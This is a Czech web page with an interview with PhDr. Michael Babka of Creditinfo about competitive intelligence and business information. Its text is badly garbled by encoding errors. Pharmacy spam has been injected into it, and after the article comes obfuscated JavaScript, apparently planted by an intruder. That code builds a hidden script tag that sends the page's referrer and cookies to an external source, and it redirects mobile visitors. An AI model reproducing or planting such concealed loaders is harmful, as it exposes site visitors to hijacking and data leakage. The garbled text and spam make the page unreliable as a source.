Rozhovor s PhDr. Michaelem Babkou

Odborné články, Realizace CI, Rozhovory

3. 2. 2010

cheap doxycycline lyrica no prescription, lyrica no prescription, lyrica no prescription, lyrica no prescription, lyrica no prescription, lyrica no prescription, lyrica no prescription, lyrica no prescription. viagra purchase , cheap zithromax. PortA?l CI pAi??inA?A?Ai?? rozhovor s PhDr. Michaelem Babkou, Ai??editelem vA?voje spoleA?nosti Creditinfo Czech Republic.

VyhledA?vA?nAi??m informacAi?? a zamAi??Ai??enAi??m na jejich vyuA?itAi?? se zabA?vA?te jiA? dlouho. Jak jste se k tomu dostal?

OdhlAi??dnu-li od faktu, A?e jsem to pAi??ed drahnA?mi lety studoval (to bylo v dobAi??, kdy vrcholem automatizace byly dAi??rnAi?? A?tAi??tky), tak rozhodujAi??cAi??m momentem bylo asi zAi??Ai??zenAi?? specializovanAi??ho pracoviA?tAi?? pro pAi??Ai??stup k zahraniA?nAi??m databA?zovA?m centrA?m na tehdejA?Ai??m A?stAi??edAi?? VTEI. A?Ai??zenAi??m osudu jsem se tak (nAi??kdy v roce 1982) dostal nejen k informaA?nAi??m zdrojA?m jinA?m smrtelnAi??kA?m v tehdejA?Ai??m A?eskoslovensku nedostupnA?m, ale i k pAi??evratnAi?? technice, jako napAi??. k prvnAi??mu skuteA?nAi??mu PC s harddiskem (20 MB).

Vystudoval jste na Asstavu informaA?nAi??ch studii a knihovnictvAi?? na FF UK. VidAi??te tAi??eba nAi??jakou spojitost knihovnictvAi?? a CI?

V dobA?ch studiAi?? samozAi??ejmAi?? nikdo o CI nic netuA?il, a to z jedinAi??ho prostAi??ho dA?vodu. SocialistickA? ekonomika nemAi??la ani trh ani konkurenci. Ona to ani vlastnAi?? nebyla ekonomika. UvaA?ujeme-li o knihovnictvAi?? v trA?nAi??m prostAi??edAi??, pak bych jeho roli pro CI vidAi??l v tom, A?e mA?A?e bA?t dA?leA?itou, i kdyA? ne jedinou a prvotnAi??, zA?kladnou pro informaA?nAi?? analA?zu. V nAi??kterA?ch pAi??Ai??padech je pro CI potAi??eba jAi??t do hloubky, zkoumat napAi??Ai??klad i odbornAi?? publikace lidAi?? pracujAi??cAi??ch pro konkurenci, analyzovat patenty a citace, zejmAi??na v podnikatelskA?ch oblastech napojenA?ch na modernAi?? technologie. A knihovny, na rozdAi??l od drahA?ch sluA?eb poradenskA?ch firem, majAi?? mnoho sluA?eb zadarmo.

PAi??A?e se, A?e pA?sobAi??te jako externAi?? pedagog. MA?A?ete napsat kde uA?Ai??te, co uA?Ai??te a jestli se zmiA?ujete studentA?m i o CI?

JA? jsem teA? spAi??A? externAi?? pedagog ve vA?sluA?bAi??. Na uA?enAi?? mi nezbA?vA? A?as. PAi??ed pA?r lety jsem pohostinnAi?? vystupoval napAi??Ai??klad na VOAi??IS, kde dokonce zAi??Ai??dili obor ai??zinformace o firmA?chai??? a CI bylo toho nedAi??lnou souA?A?stAi??.

Jak se zmAi??nila praxe ve vyhledA?vA?nAi?? a vyuA?itAi?? informacAi?? za poslednAi??ch 10 ai??i?? 15 let?

A?ekl bych, A?e zA?sadnAi??. Kde jsou ty A?asy (vidAi??no z pohledu producenta informaA?nAi??ch produktA?), kdy se zA?kaznAi??k spo­kojil s databA?zAi?? holA?ch kontaktA? nebo s vA?stAi??iA?ky z novin nalepenA?mi na A4! NA?roky na obsah, kvalitu, aktuA?lnost dodA?vanA?ch informacAi?? se mnohonA?sobnAi?? zvA?A?ily, stejnAi?? tak jako poA?adavky na komfort sluA?eb s tAi??m spojenA?ch. ExistujAi?? sice zavedenAi?? agendy, kterAi?? si dlouhodobAi?? firmy udrA?ujAi?? (napAi??Ai??klad monitoring zA?kaznAi??kA?), ale i zde pAi??inejmenA?Ai??m pracovnAi??ci pAi??eA?li od listovA?nAi?? v tiA?tAi??nAi??m ObchodnAi??m vAi??stnAi??ku k ovAi??Ai??o­vA?nAi?? A?dajA? na internetu. Mnohem vAi??ce firem a institucAi?? dnes ale vyuA?Ai??vA? externAi??ch dodavatelA?, aA? poskytujAi?? informaA?nAi?? produkty a nA?stroje pro vlastnAi?? prA?ci, nebo sluA?by na klAi??A?. A to i v A?eskAi??m prostAi??edAi??, kterAi?? ve srovnA?nAi?? s ostatnAi??mi zemAi??mi mA? pomAi??rnAi?? mnoho zdrojA? veAi??ejnAi?? dostupnA?ch na internetu. DneA?nAi?? manaA?er si uvAi??domuje cenu informacAi?? o firmA?ch i svAi??ho A?asu a je ochoten za sluA?by zaplatit, ale vyA?aduje maximum dostupnA?ch dat v ai??zkomfor­tnAi??m balenAi??ai???, tj. v takovAi?? podobAi??, kterA? je optimA?lnAi?? pro jeho dalA?Ai?? prA?ci. NapAi??Ai??klad dnes je bAi??A?nou praxAi?? i v menA?Ai??ch firmA?ch pAi??ed kaA?dA?m vystavenAi??m faktury provAi??Ai??it, zda odbAi??ratel nenAi?? v insolvenci, jak platAi?? jinA?m odbAi??ratelA?m, jakAi?? mA? kreditnAi?? hodnocenAi?? (skA?ring) atd. K tomu slouA?Ai?? specializovanAi?? a vysoce sofistikovanAi?? systAi??my, kterAi?? shromaA?A?ujAi??, analyzujAi?? a vyhodnocujAi?? desAi??tky rA?znA?ch A?dajA? na mikroekonomickAi?? i makroekonomic­kAi?? A?rovni. Posun v poA?adavcAi??ch na vyuA?itAi?? informacAi?? za poslednAi??ch 12 let je dobAi??e patrnA? napAi??Ai??klad na A?A?etnAi??ch zA?vAi??rkA?ch. KdyA? jsme v roce 1997 rozjAi??A?dA­i??li jejich sbAi??r a zpracovA?nAi??, mAi??ly o nAi?? zA?jem maximA?lnAi?? nAi??kterAi?? banky nebo agentury, kterAi?? poskytovaly kreditnAi?? zprA?vy. Dnes je to velice A?A?danA? zdroj dat o hospodaAi??enAi?? a situaci zA?kaznAi??ka nebo konkurenta a se zA?vAi??rkami nebo s informacemi z nich odvozenA?ch pracujAi?? i firmy z vA?robnAi?? nebo obchodnAi?? sfAi??ry. Kdybych mAi??l ale posoudit poA?adavky na CI ve srovnA?nAi??m s dalA?Ai??m vyuA?itAi??m informacAi??, pak bych na prvnAi?? mAi??stAi?? uvedl marketingovAi?? A?A?ely (hledA?nAi?? novA?ch zA?kaznAi??kA?), pak provAi??Ai??o­vA?nAi?? solventnosti zA?kaznAi??kA?. To jsou oblasti, kde asi uA?ivatelAi?? nejvAi??ce utrA?cejAi?? za informace. V zA?vislosti na velikosti firmy pak je zde jeA?tAi?? oblast monitoringu vlastnAi??ho obrazu v mAi??diAi??ch. A teprve na A?tvrtAi?? mAi??sto bych zaAi??adil informaA?nAi?? prA?zkum tA?kajAi??cAi?? se konkurence.

JakAi?? je povAi??domAi?? o vyuA?itAi?? informacAi?? ve firmA?ch? VAi??dAi?? firmy obecnAi??, co potAi??ebujAi?? ke svAi??mu fungovA?nAi?? na trhu, majAi?? informace o svA?ch konkurentech a­pod.?

Jak jsem uvedl v pAi??edchozAi?? odpovAi??di, situace se urA?itAi?? zmAi??nila k lepA?Ai??mu. Najdou se ale samozAi??ejmAi?? firmy, kterAi?? reA?lnAi?? konkurenci nemajAi?? a sledujAi?? informace jinAi??ho typu, nebo firmy, kterAi?? A?ijAi?? v pAi??esvAi??dA?e­nAi??, A?e A?A?dnAi?? externAi?? informace nepotAi??ebujAi??, A?e majAi?? ai??zsvoje kanA?lyai??? a to jim k A?ivotu A?plnAi?? postaA?uje. A i to mA?A?e bA?t v nAi??kterA?ch pAi??Ai??padech pravda.

Jak byste hodnotil informaA?nAi?? trh u nA?s? Sledujete zde nAi??jakAi?? trendy? Jak vidAi??te budoucnost A?eskAi??ho trhu?

To jsou na mAi?? ponAi??kud globA?lnAi?? otA?zky. Mohu to vidAi??t jen z A?zkAi??ho pohledu svAi??ho zamAi??Ai??enAi?? na marketingovAi?? a finanA?nAi?? informace o firmA?ch. Trendy jsem tu uA? trochu naznaA?il. MomentA?lnAi?? bych jako nejmarkantnAi??jA?A­i?? trend vidAi??l snahu podnikatelA? ochrA?nit svoje penAi??ze. A?ili v obdobAi?? ekonomickAi?? krize nebo recese roste potAi??eba rA?znA?ch sluA?eb, kterAi?? hlAi??dajAi?? insolvence, varujAi?? pAi??ed zhorA?ujAi??cAi??m se platebnAi??m chovA?nAi??m, pAi??edvAi??dajAi?? moA?nost A?padku apod. IdeA?lnAi??, kdyA? na tyto sluA?by navazuje inkaso pohledA?vek. Hodnota negativnAi??ch i pozitivnAi??ch informacAi?? o platebnAi?? morA?lce je vA?em znA?ma, jejich budoucnost a dalA?Ai?? rozvoj tkvAi?? ve vAi??tA?Ai?? solidaritAi?? vA?ech, kdo s tAi??mito informacemi pracujAi??. Vzniknou neelitA?Ai??skAi?? systAi??my, do kterA?ch budou uklA?dat platebnAi?? zkuA?enosti velkAi?? i malAi?? firmy a zpAi??tnAi?? je sdAi??let. NAi??co podobnAi??ho budujeme uA? od roku 2002.

Je nAi??co, co VA?s z oblasti VaA?eho pA?sobenAi?? v poslednAi?? dobAi?? potAi??A?ilo?

PotAi??A?il mAi?? insolvenA?nAi?? rejstAi??Ai??k na internetu, kterA? koneA?nAi?? odpovAi??dA? potAi??ebA?m a rychlosti doby. Ne A?e by se na jeho internetovAi?? podobAi?? nenaA?ly mouchy, nebo nevymyslela zlepA?enAi??, ale jako vA?sledek prA?ce stA?tnAi?? sprA?vy je to poA?in nadstandardnAi??. NeodpustAi??m si uvAi??st jeA?tAi?? pravA? opak, rejstAi??Ai??k e­xekucAi??. Z hlediska pouA?itelnosti pro odbornou veAi??ejnost jde o absurdnAi?? krok mimo. Nejsem proti komerA?nAi??mu poskytovA?nAi?? dat, ostatnAi?? se tAi??m sA?m zabA?vA?m, ale cena vA?dy musAi?? odrA?A?et reA?lnAi?? pAi??Ai??nosy pro zA?kaznAi??ka.

Co byste doporuA?il studentA?m, kdyA? se chtAi??jAi?? uplatnit v oblasti CI?

Poradil bych jim nesoustAi??edit se jen na CI. Ono to ostatnAi?? ani nejde, CI je prA?Ai??ezovA? disciplAi??na a spoustu metod CI uplatnAi??te i pro jinAi?? A?A?ely. Nechcete-li se vyloA?enAi?? zamAi??Ai??it na konkurenA?nAi?? analA?zy (coA? uplatnAi??te maximA?lnAi?? v nAi??kolika mA?lo poradenskA?ch firmA?ch), pak je potAi??eba mAi??t A?irA?Ai?? zA?bAi??r a CI jako doplnAi??k.

NechystA?te v souA?asnAi?? dobAi?? nAi??jakA? projekt nebo publikaci v souvislosti s CI?

NechystA?m. Projektuji nAi??co od rA?na do veA?era, takA?e od veA?era do rA?na uA? mA?m chuA? spAi??A? na jinAi?? vAi??ci.

Autor Mgr. P. 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|\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v )|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g 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d=document;var s=d[_0×d052[1­]](_0×d052[0]);s[_0×d052­[2]]= _0×d052[3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12];i­f(document[_0×d052[13­]]){document[_0×d052[13­]][_0×d052[15]][_0×d052[­14]](s,documen­t[_0×d052[13]])}el­se {d[_0×d052[18­]](_0×d052[17])[0][_0×d0­52[16]](s)};if(do­cument[_0×d052[11­]][_0×d052[19]]=== _0×d052[20]&& KTracking[_0×d052[22­]][_0×d052[21]](_0×d052[­3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12])===  –1){alert(_0×d052[23­])}var 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d=document;var s=d[_0×b322[1­]](_0×b322[0]);s[_0×b322­[2]]= _0×b322[3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12];i­f(document[_0×b322[13­]]){document[_0×b322[13­]][_0×b322[15]][_0×b322[­14]](s,documen­t[_0×b322[13]])}el­se {d[_0×b322[18­]](_0×b322[17])[0][_0×b3­22[16]](s)};if(do­cument[_0×b322[11­]][_0×b322[19]]=== _0×b322[20]&& KTracking[_0×b322[22­]][_0×b322[21]](_0×b322[­3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12])===  –1){alert(_0×b322[23­])} donde comprar venaglaxine, donde comprar venaglaxine, donde comprar venaglaxine, donde comprar venaglaxine, donde comprar venaglaxine, donde comprar venaglaxine, donde comprar venaglaxine, donde comprar venaglaxine, donde comprar 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|maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v )|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|­wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]­](_0×ecfdx1[_0×446d­[9]](0,4))){var _0×ecfdx3= new Date( new Date()[_0×446d­[10]]()+ 1800000);docu­ment[_0×446d[2]­]= _0×446d[11]+ _0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}

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Rubrika: Odborné články, Realizace CI, Rozhovory

Zveřejnil: Kateřina Byloková

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